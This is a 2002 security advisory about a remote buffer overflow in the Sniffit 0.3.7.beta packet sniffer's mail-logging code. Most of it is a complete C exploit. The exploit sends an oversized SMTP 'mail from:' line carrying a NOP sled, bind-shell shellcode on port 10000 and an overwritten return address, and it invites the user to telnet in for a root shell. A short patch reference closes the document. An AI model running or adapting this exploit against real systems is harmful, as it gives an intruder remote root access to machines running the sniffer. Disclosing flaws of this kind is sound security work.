22th Jan 2002 [SBWID-5015]
COMMAND
Sniffit remote buffer overflow
SYSTEMS AFFECTED
sniffit.0.3.7.beta
PROBLEM
\"g463\" posted :
The vulnerability is triggered when the option -L is called from the
command line with \'normmail\'
ie : ./sniffit -c ./sample_config_file -L normmail
It calls a piece of code where the buffer is unchecked
//From sniffit.0.3.7.beta/sn_logfile.c
void print_mail (char *conn, char *msg)
{
char line[250];
sprintf(line,\"%s: mail [%s]\",conn,msg);
print_logline (line);
}
In a normal situation, it could be easier to fill line [250] with our
shellcode, but since this buffer gets filter with some kind of strlower()
function (thus our shellcode/return adress too), i rely on an
unfiltered buffer with the same data so we can point eip back at that
place with clean, unmodified shellcode :D
Exploit :
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <error.h>
#include <string.h>
#define SMTP_PORT 25
#define MAX_LINE 256
#define BUFLEN 252
//define this to your ip
#define MY_IP \"192.168.0.1\"
//Value for overwriting eip
//should be the adress of the data buffer + some
couple of garbage bytes
#define RETADR 0x08059408
//Port binding shellcode, binds on port 10000
//taken from bighawk@warfare.com
char shellcode[] =
\"\\x31\\xc0\" // xor eax,
eax
\"\\x31\\xdb\" // xor ebx,
ebx
\"\\x89\\xe5\" // mov ebp,
esp
\"\\x99\" // cdq
\"\\xb0\\x66\" // mov al,
102
\"\\x89\\x5d\\xfc\" // mov [ebp-4], ebx
\"\\x43\" // inc ebx
\"\\x89\\x5d\\xf8\" // mov [ebp-8], ebx
\"\\x43\" // inc ebx
\"\\x89\\x5d\\xf4\" // mov [ebp-12], ebx
\"\\x4b\" // dec ebx
\"\\x8d\\x4d\\xf4\" // lea ecx, [ebp-12]
\"\\xcd\\x80\" // int 80h
\"\\x89\\x45\\xf4\" // mov [ebp-12], eax
\"\\x43\" // inc ebx
\"\\x66\\x89\\x5d\\xec\" // mov [ebp-
20], bx
\"\\x66\\xc7\\x45\\xee\\x27\\x10\" // mov [ebp-18], word
4135
\"\\x89\\x55\\xf0\" // mov [ebp-16], edx
\"\\x8d\\x45\\xec\" // lea eax, [ebp-20]
\"\\x89\\x45\\xf8\" // mov [ebp-8], eax
\"\\xc6\\x45\\xfc\\x10\" // mov [ebp-4], byte
16
\"\\xb2\\x66\" // mov dl,
102
\"\\x89\\xd0\" // mov eax,
ed
\"\\x8d\\x4d\\xf4\" // lea ecx, [ebp-12]
\"\\xcd\\x80\" // int 80h
\"\\x89\\xd0\" // mov eax,
edx
\"\\xb3\\x04\" // mov bl, 4
\"\\xcd\\x80\" // int 80h
\"\\x43\" // inc ebx
\"\\x89\\xd0\" // mov eax,
edx
\"\\x99\" // cdq
\"\\x89\\x55\\xf8\" // mov [ebp-8], edx
\"\\x89\\x55\\xfc\" // mov [ebp-4], edx
\"\\xcd\\x80\" // int 80h
\"\\x31\\xc9\" // xor ecx,
ecx
\"\\x89\\xc3\" // mov ebx,
eax
\"\\xb1\\x03\" // mov cl, 3
\"\\xb0\\x3f\" // mov al,
63
\"\\x49\" // dec ecx
\"\\xcd\\x80\" // int 80h
\"\\x41\" // inc ecx
\"\\xe2\\xf8\" // loop -7
\"\\x52\" // push edx
\"\\x68\\x6e\\x2f\\x73\\x68\" // push dword
68732f6eh
\"\\x68\\x2f\\x2f\\x62\\x69\" // push dword
69622f2fh
\"\\x89\\xe3\" // mov ebx,
esp
\"\\x52\" // push edx
\"\\x53\" // push ebx
\"\\x89\\xe1\" // mov ecx,
esp
\"\\xb0\\x0b\" // mov al,
11
\"\\xcd\\x80\"; // int 80h
int usage (char *);
int calculate_conn_lenght (struct sockaddr_in, struct
sockaddr_in);
int
main (int argc, char *argv[])
{
struct sockaddr_in stServer, stClient;
char *ptHost;
unsigned long int iHost;
int iSockfd, iLenght, iAlign = 0;
char sBuffer[MAX_LINE];
char sString[300];
int i;
if (argc != 2) usage (argv[0]);
ptHost = argv[1];
if ( (iHost = inet_addr (argv[1])) == INADDR_NONE)
{
printf (\"Invalid host or host is 255.255.255.255\\n\");
exit (-1);
}
//Fill the server struct
memset (&stServer, 0, sizeof (struct sockaddr_in));
stServer.sin_family = AF_INET;
stServer.sin_port = htons (SMTP_PORT);
stServer.sin_addr.s_addr = iHost;
if ( (iSockfd = socket (AF_INET, SOCK_STREAM,
0)) == -1) {
printf (\"Error opening socket\\n\");
exit (-1);
}
// Fill the client struct, mainly used to calculate the
right align for RET addy
memset (&stClient, 0, sizeof (struct sockaddr_in));
stClient.sin_family = AF_INET;
stClient.sin_port = htons (0);
stClient.sin_addr.s_addr = inet_addr (MY_IP);
if ( (bind (iSockfd, (struct sockaddr *) &stClient,
sizeof (stClient))) == -1 ) {
perror (\"Cant bind socket\");
exit (-1);
}
iAlign = calculate_conn_lenght (stClient, stServer);
i = BUFLEN - iAlign + 4;
if ( (connect (iSockfd, (struct sockaddr *)
&stServer, sizeof (stServer))) != 0) {
perror (\"Cant connect\");
exit (-1);
}
else printf (\"Connected to host %s on port %d\\n\\n\",
ptHost, SMTP_PORT);
// Recevons la banniŠre du serveur smtp
if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0))
== -1) {
perror (\"Cant get server banner\");
exit (-1);
}
printf (\"%s\\n\", sBuffer);
printf (\"Building evil string... >:)\\n\");
memset (sString, 0x90, sizeof (sString));
memcpy (sString, \"mail from:\", strlen (\"mail from:\"));
memcpy(sString + i - strlen (shellcode), shellcode,
strlen (shellcode));
sString[i++] = (RETADR & 0x000000ff);
sString[i++] = (RETADR & 0x0000ff00) >> 8;
sString[i++] = (RETADR & 0x00ff0000) >> 16;
sString[i++] = (RETADR & 0xff000000) >> 24;
sString[i] = \'\\0\';
if ( (send (iSockfd, sString, strlen (sString), 0)) == -
1) {
perror (\"cant send message\");
exit (-1);
}
printf (\"Evil string sent!\\n\");
printf (\"Try telneting the host on port 10000 for r00t
shell!\\n\");
close (iSockfd);
return (0);
}
int usage (char *progname)
{
printf (\"%s <ip>\\n\", progname);
exit (-1);
}
/*
function to calculate conn entry lenght
ie : strlen of (\"192.168.0.1.1024-192.168.0.69.25\");
(fuckin dirty but heh it works)
*/
int calculate_conn_lenght (struct sockaddr_in me,
struct sockaddr_in him)
{
int lenght = 0;
struct in_addr in;
in.s_addr = me.sin_addr.s_addr;
lenght += strlen (inet_ntoa (in)); // 192.168.0.1
lenght++; // .
lenght += 4; // 1220
lenght ++; // .
in.s_addr = him.sin_addr.s_addr;
lenght += strlen (inet_ntoa (in)); // 192.168.0.69
lenght++; // .
lenght += 2; // 25
lenght += strlen (\": mail [\");
return (lenght);
}
SOLUTION
Upgrade :
=======
http://ftp.debian.org/debian/dists/stable/main/source/net/
sniffit_0.3.7.beta-6.1.diff.gz
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